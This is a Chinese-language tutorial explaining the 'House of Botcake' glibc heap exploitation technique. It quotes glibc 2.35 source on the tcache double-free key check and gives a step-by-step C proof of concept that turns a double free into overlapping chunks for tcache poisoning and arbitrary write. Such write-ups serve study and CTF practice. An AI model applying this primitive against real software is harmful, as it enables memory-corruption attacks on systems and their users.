House of Botcake详解

背景

(本文中glibc源码均来自glibc2.35)

在高版本glibc(>=2.29或2.27高版本)中,引入了Tcache Key

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

在free的核心函数_int_free函数中,若被释放的chunk的size满足tcache要求,就会取其bk位存放的数据与tcache_key进行比较(此时若这个chunk原本存储用户数据,那么bk位置上可以是任意数据,只有很小概率会与tcache_key相等进入下一步检查,因此对性能影响不大;若这个chunk在tcache中,则bk位就是tcache_key),若相等则进行进一步检查,以避免tcache中发生double free等问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

size = chunksize (p);

/* ... */

#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
/* ... */
}

为了存在double free漏洞时可以绕过这个检查实现tcache double free,House of Botcake攻击手法通过第一次free进unsorted bin,第二次free进tcache bin构造chunk overlap,实现tcache中的double free,从而轻易实现tcache poisoning以进行后续攻击。

利用

  1. 以适当的大小(大于最大fastbin,小于等于最大Tcache)先malloc 7个chunk用于填充tcache,再分别malloc一个合并堆块prev,一个与前面7个相同大小的被攻击堆块victim,然后malloc一个任意大小chunk用于和top chunk分隔

    1
    2
    3
    4
    5
    6
    7
    void* chunks[7];
    for(int i=0; i<7; i++){
    chunks[i]=malloc(0x80);
    }
    void* prev=malloc(0x80);
    void* victim=malloc(0x80);
    malloc(0x10);
  2. free掉前7个chunk,填满tcache;然后按顺序free掉victim和prev,触发prev与victim的合并

    1
    2
    3
    4
    5
    for(int i=0; i<7; i++){
    free(chunks[i]);
    }
    free(victim);
    free(prev);
  3. malloc一个相同大小的chunk,使Tcache bin腾出一个位置

    1
    malloc(0x80);
  4. 再次free victim,此时victim进入Tcache,实现double free

    1
    free(victim);
  5. malloc一个合适大小(大于max(prev,victim),小于等于prev+victim)的chunk,再malloc一个与victim相同大小的chunk。此时这两个chunk间存在重叠。

    1
    2
    3
    char* a=malloc(0x100);
    char* b=malloc(0x80);
    assert(a+0x100>b);

原理分析

既然e->key==tcache_key时会触发检查,那么就考虑在第一次free时不使其产生key。key的产生如下

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

即只有在进入tcache bin时会产生key,因此考虑先填满tcache再进行第一次free,使得被攻击堆块victim进入unsorted bin。然而此时即便再想办法free掉victim使其进入tcache实现double free也难以利用,因为同样大小的chunk,必定先从tcache出,再从unsorted bin出,对于在unsorted bin中的victim很难有比较好的攻击手法。因此,我们考虑触发(不在fastbin中的)相邻空闲chunk的consolidate机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

size = chunksize (p);

/* ... */

if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
/* ... */
else if (!chunk_is_mmapped(p)) {
/* ... */

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* ... */
}
/* ... */
}

此时prev的数据变为合并后的chunk数据,即两个chunk合并成为在unsorted bin中的一个大chunk,然而victim的数据并没有改变,这意味着我们可以再次free victim使其进入tcache bin。此时我们只要malloc合适大小的chunk,就能将合并后的chunk从unsorted bin中取出(或切割出);再malloc与victim大小相同的chunk,就能将其从tcache bin中取出。如此我们便成功构造出了chunk overlap,可以轻易利用Tcache poisoning实现任意地址写。